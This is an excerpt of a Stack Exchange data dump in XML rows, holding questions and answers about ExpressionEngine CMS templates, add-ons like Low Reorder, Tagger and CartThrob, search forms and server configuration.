  <row Id="25640" PostTypeId="2" ParentId="25624" CreationDate="2014-09-11T13:23:55.483" Score="1" Body="&lt;p&gt;Thanks Derek, for pointing that out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I edited system/expressionengine/config/config.php and changed&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['base_url'] = &quot;http://domain.com&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['base_url'] = &quot;http://www.domain.com&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then added the Rewrite back to my .htaccess&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} !^www\.domain\.com$&#xA;RewriteRule (.*) http://www.domain.com/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After doing this, I was able to successfully submit the form.&lt;/p&gt;&#xA;" OwnerUserId="1510" LastActivityDate="2014-09-11T13:23:55.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25642" PostTypeId="1" CreationDate="2014-09-11T14:09:46.223" Score="0" ViewCount="234" Body="&lt;p&gt;I have a people page that is separated into three different categories, and I am using Low Reorder to allow my client custom control over what order the people are displayed in each category. That part works great. Now I'm trying to customize the output so that the final entry in each category is tagged with a specific class so that the layout will work right. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what my template code looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories style=&quot;linear&quot; channel=&quot;People&quot; show_empty=&quot;no&quot;}&#xA;&amp;lt;h3&amp;gt;{category_name}&amp;lt;/h3&amp;gt;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;{exp:low_reorder:entries set=&quot;staff&quot; category=&quot;{category_id}&quot;}&#xA;    &amp;lt;div class=&quot;large-3 columns text-center{if count == total_results} end{/if}&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;... CE Image stuff ...&amp;lt;/p&amp;gt;&#xA;        &amp;lt;h4 class=&quot;staff-grid-name&quot;&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{count} {title} {total_results}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;        &amp;lt;p class=&quot;organization-title staff-grid&quot;&amp;gt;{exp:low_widont}{person_organization_title}{/exp:low_widont}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {switch='|||&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;row&quot;&amp;gt;'}&#xA;{/exp:low_reorder:entries}&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The relevant bit is this: &lt;code&gt;{if count == total_results} end{/if}&lt;/code&gt;. I added in the &lt;code&gt;{count} {title} {total_results&lt;/code&gt; so I could see what the count and total_results fields were.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The output I get is this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;All entries in the first category have a count of 1 and total_results of 3&lt;/li&gt;&#xA;&lt;li&gt;All entries in the 2nd category have a count of 2 and total_results of 3&lt;/li&gt;&#xA;&lt;li&gt;All entries in the 3rd category have a count of 3 and total_results of 3&lt;/li&gt;&#xA;&lt;li&gt;Since all the 3rd category entries have total_results of 3, all entries in that category are tagged with the &quot;end&quot; class&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Perhaps there's another way to achieve what I'm trying to do? Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;I was able to achieve the desired layout effect by just giving all of the entries the 'end' tag, but this is inelegant to be sure. I am still interested in solving this problem the &quot;right&quot; way. &lt;/p&gt;&#xA;" OwnerUserId="496" LastEditorUserId="496" LastEditDate="2014-09-11T14:28:01.657" LastActivityDate="2014-10-11T16:18:23.910" Title="Low Reorder, count, and total_results - trying to test for last entry in each category" Tags="|categories|low-reorder|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25643" PostTypeId="2" ParentId="25590" CreationDate="2014-09-11T14:15:43.890" Score="0" Body="&lt;p&gt;OK, I checked and managed to work out with the hosting provider what needed to be done. Basically with the PHP config, we needed the following flags set:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For CAPTCHA support:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'--enable-gd-native-ttf'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For JPEG Image Resizing support (path different depending on server setup):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'--with-jpeg-dir=/usr/lib'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="347" LastActivityDate="2014-09-11T14:15:43.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25644" PostTypeId="1" AcceptedAnswerId="25646" CreationDate="2014-09-11T15:20:28.220" Score="0" ViewCount="122" Body="&lt;p&gt;I'm going crazy here trying to find where I've went wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two search functions on my site, the first one in my site header area using &lt;code&gt;{exp:search:simple_form}&lt;/code&gt;, the second located on search/index which uses &lt;code&gt;{exp:search:advanced_form}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simple Search is working perfectly, returning results to keyword searches. However I can't get my Advanced Search to return any results... AT ALL!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Advanced Search code, based closely on the example in EE's docs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:advanced_form result_page=&quot;search/results&quot; channel=&quot;not event_venues|homepage_spotlight|home_page|publications|legal_notices&quot; category=&quot;not 14|26&quot; no_result_page=&quot;search/no-results&quot; results=&quot;10&quot; show_future_entries=&quot;yes&quot; form_class=&quot;advanced-search&quot;}&#xA;    &amp;lt;fieldset&amp;gt;&#xA;      &amp;lt;legend&amp;gt;{lang:search_by_keyword}&amp;lt;/legend&amp;gt;&#xA;      &amp;lt;div class=&quot;adsearch-keywords&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;          &amp;lt;label for=&quot;advancedKeywords&quot;&amp;gt;Keywords:&amp;lt;/label&amp;gt;&#xA;          &amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; id=&quot;advancedKeywords&quot; value=&quot;&quot;&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;          &amp;lt;label for=&quot;search_in&quot;&amp;gt;Search in:&amp;lt;/label&amp;gt;&#xA;          &amp;lt;select name=&quot;search_in&quot; id=&quot;search_in&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;titles&quot; selected=&quot;selected&quot;&amp;gt;{lang:search_in_titles}&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;entries&quot;&amp;gt;{lang:search_in_entries}&amp;lt;/option&amp;gt;&#xA;          &amp;lt;/select&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;          &amp;lt;label for=&quot;where&quot;&amp;gt;Where:&amp;lt;/label&amp;gt;&#xA;          &amp;lt;select name=&quot;where&quot; id=&quot;where&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;exact&quot; selected=&quot;selected&quot;&amp;gt;{lang:exact_phrase_match}&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;any&quot;&amp;gt;{lang:search_any_words}&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;all&quot;&amp;gt;{lang:search_all_words}&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;word&quot;&amp;gt;{lang:search_exact_word}&amp;lt;/option&amp;gt;&#xA;          &amp;lt;/select&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;adsearch-channels&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;          &amp;lt;label for=&quot;channel_id&quot;&amp;gt;{lang:channels}:&amp;lt;/label&amp;gt;&#xA;          &amp;lt;select id=&quot;channel_id&quot; name=&quot;channel_id[]&quot; size=&quot;8&quot; multiple=&quot;multiple&quot; onchange=&quot;changemenu(this.selectedIndex);&quot;&amp;gt;&#xA;            {channel_names}&#xA;          &amp;lt;/select&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;adsearch-categories&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;          &amp;lt;label for=&quot;categorySelection&quot;&amp;gt;{lang:categories}:&amp;lt;/label&amp;gt;&#xA;          &amp;lt;select name=&quot;cat_id[]&quot; size=&quot;8&quot;  multiple=&quot;multiple&quot; id=&quot;categorySelection&quot;&amp;gt;&#xA;          &amp;lt;option value=&quot;all&quot; selected=&quot;selected&quot;&amp;gt;{lang:any_category}&amp;lt;/option&amp;gt;&#xA;          &amp;lt;/select&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;      &amp;lt;legend&amp;gt;Dates and sorting&amp;lt;/legend&amp;gt;&#xA;      &amp;lt;div class=&quot;date&quot;&amp;gt;&#xA;        &amp;lt;select name=&quot;date&quot;&amp;gt;&#xA;          &amp;lt;option value=&quot;0&quot; selected=&quot;selected&quot;&amp;gt;{lang:any_date}&amp;lt;/option&amp;gt;&#xA;          &amp;lt;option value=&quot;1&quot;&amp;gt;{lang:today_and}&amp;lt;/option&amp;gt;&#xA;          &amp;lt;option value=&quot;7&quot;&amp;gt;{lang:this_week_and}&amp;lt;/option&amp;gt;&#xA;          &amp;lt;option value=&quot;30&quot;&amp;gt;{lang:one_month_ago_and}&amp;lt;/option&amp;gt;&#xA;          &amp;lt;option value=&quot;90&quot;&amp;gt;{lang:three_months_ago_and}&amp;lt;/option&amp;gt;&#xA;          &amp;lt;option value=&quot;180&quot;&amp;gt;{lang:six_months_ago_and}&amp;lt;/option&amp;gt;&#xA;          &amp;lt;option value=&quot;365&quot;&amp;gt;{lang:one_year_ago_and}&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/select&amp;gt;&#xA;        &amp;lt;div class=&quot;date_order&quot;&amp;gt;&#xA;          &amp;lt;input type=&quot;radio&quot; name=&quot;date_order&quot; value=&quot;newer&quot; id=&quot;newer&quot; class=&quot;radio&quot; checked=&quot;checked&quot;&amp;gt;&#xA;          &amp;lt;label for=&quot;newer&quot;&amp;gt;{lang:newer}&amp;lt;/label&amp;gt;&#xA;          &amp;lt;input type=&quot;radio&quot; name=&quot;date_order&quot; value=&quot;older&quot; id=&quot;older&quot; class=&quot;radio&quot;&amp;gt;&#xA;          &amp;lt;label for=&quot;older&quot;&amp;gt;{lang:older}&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;orderby&quot;&amp;gt;&#xA;        &amp;lt;select name=&quot;orderby&quot;&amp;gt;&#xA;          &amp;lt;option value=&quot;date&quot;&amp;gt;{lang:date}&amp;lt;/option&amp;gt;&#xA;          &amp;lt;option value=&quot;title&quot;&amp;gt;{lang:title}&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/select&amp;gt;&#xA;        &amp;lt;div class=&quot;sort_order&quot;&amp;gt;&#xA;          &amp;lt;input type=&quot;radio&quot; name=&quot;sort_order&quot; class=&quot;radio&quot; value=&quot;desc&quot; id=&quot;descending&quot; checked=&quot;checked&quot;&amp;gt;&#xA;          &amp;lt;label for=&quot;descending&quot;&amp;gt;{lang:descending}&amp;lt;/label&amp;gt;&#xA;          &amp;lt;input type=&quot;radio&quot; name=&quot;sort_order&quot; class=&quot;radio&quot; value=&quot;asc&quot; id=&quot;ascending&quot;&amp;gt;&#xA;          &amp;lt;label for=&quot;ascending&quot;&amp;gt;{lang:ascending}&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Search&quot; class=&quot;button&quot;&amp;gt;&#xA;  {/exp:search:advanced_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I missing? What have I got wrong that it isn't returning any results? Or is there a setting within EE that I need to enable? Obviously I have channels and custom fields searchable within EE as I am getting results for the Simple Search form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="1162" LastActivityDate="2014-09-11T15:37:14.877" Title="Advanced search form not returning results" Tags="|search|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25645" PostTypeId="2" ParentId="25642" CreationDate="2014-09-11T15:29:27.877" Score="1" Body="&lt;p&gt;This is because of nesting the tags. Both &lt;code&gt;{count}&lt;/code&gt; and &lt;code&gt;{total_results}&lt;/code&gt; are used by both tags, so the outer tag parses the ones in the inner tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid, you can either put the LR tag in an embed (with an embed variable), or (preferably) if you're using Low Variables, use LV like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:single var=&quot;lv_low_reorder_snippet&quot; preparse:category_id=&quot;{category_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Third way to work around it, and perhaps the easiest, is to use &lt;a href=&quot;http://gotolow.com/addons/low-reorder/docs/tags#entries-tag&quot; rel=&quot;nofollow&quot;&gt;LR's prefix parameter&lt;/a&gt;, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_reorder:entries prefix=&quot;pfx_&quot; ... }&#xA;    {if '{pfx_count}' == '{pfx_total_results}'} ... {/if}&#xA;{/exp:low_reorder:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-09-11T15:29:27.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25646" PostTypeId="2" ParentId="25644" CreationDate="2014-09-11T15:37:14.877" Score="0" Body="&lt;p&gt;I found that this is a reported bug with EllisLab as of 2.7.3:&#xA;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/20059/search-module-tag-category-parameter-does-not-support-not-as-documented&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/20059/search-module-tag-category-parameter-does-not-support-not-as-documented&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1162" LastActivityDate="2014-09-11T15:37:14.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25647" PostTypeId="1" AcceptedAnswerId="25661" CreationDate="2014-09-11T16:21:44.000" Score="0" ViewCount="30" Body="&lt;p&gt;Is it possible to have a structure:nav tag that only brings in the entry ids that are specified? I've tried the other way round and excluding all other ids but it seems a bit overkill and doesn't actually work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be awesome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2420" LastEditorUserId="2420" LastEditDate="2014-09-12T08:22:41.063" LastActivityDate="2014-09-12T09:46:55.127" Title="Structure nav to show only specified entry ids?" Tags="|structure|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="25648" PostTypeId="2" ParentId="25605" CreationDate="2014-09-11T17:31:13.437" Score="0" Body="&lt;p&gt;You're correct, even though it's not documented anywhere on the Assets documentation, I discovered that {count} does indeed work for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're like me, and needed an index (zero-based), I found that this plugin will do the trick for you without having to enable PHP for your template page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/mh-index&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/mh-index&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2860" LastActivityDate="2014-09-11T17:31:13.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25649" PostTypeId="1" CreationDate="2014-09-11T17:59:35.153" Score="0" ViewCount="126" Body="&lt;p&gt;I am having a bit of trouble with a relationshop field nested inside a grid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following data structure.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|-Products&#xA;|--product_where_to_buy (relationship field for partners)&#xA;&#xA;|-Partners&#xA;|--partner_retail_urls (grid field)&#xA;|----product (relationship field with products)&#xA;|----url (url to purchase page)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I want to do is filter the partner retail urls by product but it doesn't work no matter what I try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This returns all results.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{product_where_to_buy status=&quot;open|closed&quot;}&#xA;    {product_where_to_buy:partner_retail_urls search:product:title=&quot;product name&quot;}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{product_where_to_buy:partner_retail_urls:url}&quot;&amp;gt;{product_where_to_buy:title}&amp;lt;/li&amp;gt;&#xA;    {/product_where_to_buy:partner_retail_urls}&#xA;{/product_where_to_buy}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This crashes the template parser&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{product_where_to_buy status=&quot;open|closed&quot;}&#xA;    {product_where_to_buy:partner_retail_urls}&#xA;        {if product_where_to_buy:partner_retail_urls:product:title == &quot;product name&quot;}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{product_where_to_buy:partner_retail_urls:url}&quot;&amp;gt;{product_where_to_buy:title}&amp;lt;/li&amp;gt;&#xA;        {/if}&#xA;    {/product_where_to_buy:partner_retail_urls}&#xA;{/product_where_to_buy}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;You have an invalid conditional in your template. Please review your conditionals for an unclosed string, invalid operators, a missing }, or a missing {/if}.&#xA;&#xA;Parser State: Unexpected ‘href’ (VARIABLE); expected RD in Template “products/index” on line 3.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I missing something or am i just going about it the wrong way?&lt;/p&gt;&#xA;" OwnerUserId="2304" LastEditorUserId="2304" LastEditDate="2014-09-11T21:36:45.283" LastActivityDate="2014-10-24T23:31:46.577" Title="If statement not working using a nested relationship field" Tags="|relationships|conditionals|grid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25650" PostTypeId="1" AcceptedAnswerId="25657" CreationDate="2014-09-11T18:35:05.203" Score="0" ViewCount="33" Body="&lt;p&gt;We've used Tagger on a website and it works just fine, but the client would like a 404 error to display if someone manually typed in &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&#xA;&lt;a href=&quot;http://www.example.com/projects/tags/education/&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/projects/tags/education/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;manually changed to &#xA;&lt;a href=&quot;http://www.example.com/products/tags/not-a-tag&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/products/tags/not-a-tag&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;results in a blank page vs. a 404.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tagger:entries_quick tag=&quot;{segment_3}&quot;}&#xA;          &amp;lt;h1&amp;gt;Press Room: &amp;lt;span style=&quot;text-transform: capitalize;&quot;&amp;gt;{segment_3}&amp;lt;/span&amp;gt;&amp;lt;/h1&amp;gt;&#xA;          {/exp:tagger:entries_quick}&#xA;          {exp:tagger:entries_quick tag=&quot;{segment_3}&quot;}&#xA;          {exp:channel:entries channel=&quot;press_post&quot; limit=&quot;5&quot; dynamic=&quot;yes&quot; entry_id=&quot;{tagger:entry_ids}&quot; paginate=&quot;bottom&quot;}&#xA;                    &amp;lt;div class=&quot;blogpost&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;fourty&quot;&amp;gt;&#xA;                        {press_images limit=&quot;1&quot;}&#xA;                            &amp;lt;img src=&quot;{image:url:small}&quot; alt=&quot;&quot; class=&quot;siteimage&quot; /&amp;gt;&#xA;                          {/press_images}&#xA;                        &amp;lt;/div&amp;gt;&amp;lt;!--fourty--&amp;gt;&#xA;                        &amp;lt;div class=&quot;sixty&quot;&amp;gt;&#xA;                            &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;                            &amp;lt;p class=&quot;tags&quot;&amp;gt;&#xA;&#xA;                {entry_date format=&quot;%M %j, %Y&quot;} | Tags: &#xA;          {exp:tagger:tags entry_id=&quot;{entry_id}&quot; limit=&quot;1&quot; dynamic=&quot;yes&quot;}&#xA;          &amp;lt;a href=&quot;{site_url}index.php/press-room/tags/{tagger:tag_name}/&quot; class=&quot;taglink&quot;&amp;gt;{tagger:tag_name}&amp;lt;/a&amp;gt;&#xA;          {/exp:tagger:tags}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried the below, but it doesn't forward off.&#xA;{exp:channel:entries channel=&quot;press_post&quot; limit=&quot;5&quot; dynamic=&quot;yes&quot; entry_id=&quot;{tagger:entry_ids}&quot; paginate=&quot;bottom&quot;}&#xA;              {if no_results}{redirect=&quot;404&quot;}{/if} &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Live Site: &lt;a href=&quot;http://goo.gl/Dlsj2G&quot; rel=&quot;nofollow&quot;&gt;http://goo.gl/Dlsj2G&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2471" LastActivityDate="2014-09-11T21:45:21.107" Title="Tagger 404 Page" Tags="|devdemon-tagger|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25651" PostTypeId="1" CreationDate="2014-09-11T18:38:25.017" Score="1" ViewCount="37" Body="&lt;p&gt;I've noticed that in the MX Select Plus fieldtype if any of your options contain an ampersand they are saved as a unicode character for the entry in the database (&lt;code&gt;&amp;amp;&lt;/code&gt;), however the fields option settings save them with an html entity (&lt;code&gt;&amp;amp;amp;&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is when you return to edit an entry, even though you have previously selected an option, it will not be selected in the MX Select Plus field as the values are different:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Value in the database : &quot;&lt;code&gt;A&amp;amp;E Television&lt;/code&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Value for the option in MX Select Plus Field : &quot;&lt;code&gt;A&amp;amp;amp;E Television&lt;/code&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else had this sort of a problem with this Fieldtype?&lt;/p&gt;&#xA;" OwnerUserId="286" LastActivityDate="2014-09-11T18:38:25.017" Title="MX Select Plus having problems with ampersands" Tags="|mx-select-plus|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25652" PostTypeId="2" ParentId="21923" CreationDate="2014-09-11T19:22:44.080" Score="1" Body="&lt;p&gt;If you moved the site from one server to another (the actual physical files) then did you delete the Cache folder or not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tried to delete it and see if that fixes things on the front end?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to the backend you say you can't edit some entries but in what way &lt;strong&gt;can't&lt;/strong&gt; you edit the entries? Can you click on them to edit them but then they don't save or do you click on the save button and you get an error or something else?&lt;/p&gt;&#xA;" OwnerUserId="846" LastActivityDate="2014-09-11T19:22:44.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25654" PostTypeId="2" ParentId="25252" CreationDate="2014-09-11T21:15:43.720" Score="0" Body="&lt;p&gt;The CP URL in the config file was already set as admin.php for myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am still running into the issue that the link sends you back to the home page. The link is correct...  &quot;.com/preferred-member-registration/forgot_password&quot;, however this 'forgot password' URL is linked to the sites homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts?&lt;/p&gt;&#xA;" OwnerUserId="3558" LastActivityDate="2014-09-11T21:15:43.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25655" PostTypeId="2" ParentId="24712" CreationDate="2014-09-11T21:15:59.683" Score="1" Body="&lt;p&gt;Ah yes... The fix is to replace line 566 within the cartthrob/cartthrob/core/Cartthrob_item.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is within the get_item_tax function where you'd replace:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tax = $plugin-&amp;gt;get_tax($this-&amp;gt;base_price(), $this);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tax = $plugin-&amp;gt;get_tax($cost, $this);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This fixed the problem and haven't seen any issues with it.&lt;/p&gt;&#xA;" OwnerUserId="2675" LastActivityDate="2014-09-11T21:15:59.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25656" PostTypeId="2" ParentId="25418" CreationDate="2014-09-11T21:35:04.920" Score="2" Body="&lt;p&gt;I had a similar issue. Try adding quotes around the full tag so that you have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{error:item_options[invoice_number]}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully that should resolve it.&lt;/p&gt;&#xA;" OwnerUserId="2675" LastActivityDate="2014-09-11T21:35:04.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25657" PostTypeId="2" ParentId="25650" CreationDate="2014-09-11T21:45:21.107" Score="0" Body="&lt;p&gt;I tried to understand your code, but I couldn't find any reason to split &lt;code&gt;exp:tagger:entries_quick&lt;/code&gt; into two parts or where you're closing the second one, but I gonna try to help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You code doesn't work because the &lt;code&gt;exp:channel:entries&lt;/code&gt; will never run if there is no results on &lt;code&gt;exp:tagger:entries_quick&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside &lt;code&gt;{exp:tagger:entries}&lt;/code&gt;, you can set a conditional &lt;code&gt;{if tagger:no_entries}&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tagger:entries tag=&quot;{segment_2}&quot; custom_fields=&quot;press_images&quot;}&#xA;&#xA;    {if tagger:no_entries}&#xA;        {redirect=&quot;&quot;}&#xA;    {/if}&#xA;    &amp;lt;h1&amp;gt;Press Room: &amp;lt;span style=&quot;text-transform: capitalize;&quot;&amp;gt;{segment_3}&amp;lt;/span&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&#xA;    [...]&#xA;&#xA;{/exp:tagger:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can get more info on &lt;a href=&quot;http://www.devdemon.com/documentation/tag/entries-tagger/&quot; rel=&quot;nofollow&quot;&gt;Tagger docs&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-09-11T21:45:21.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25658" PostTypeId="2" ParentId="20443" CreationDate="2014-09-11T23:04:10.367" Score="1" Body="&lt;p&gt;I was having some issues, where by the second time I clicked the pagination button the preventDefault was getting ignored.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class='journal' data-behaviour='masonry loadMoreJournals'&amp;gt;&#xA;    &amp;lt;div class=&quot;ajax-wrapper&quot;&amp;gt;&#xA;            {!-- ee loop --}&#xA; &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the js,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;instead of &lt;/p&gt;&#xA;&#xA;&lt;p&gt;$('.journal').on('click', 'a', function(e){ stuff })&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$('.journal').delegate('.view-more', 'click', function(e) { stuff })&lt;/p&gt;&#xA;" OwnerUserId="730" LastActivityDate="2014-09-11T23:04:10.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
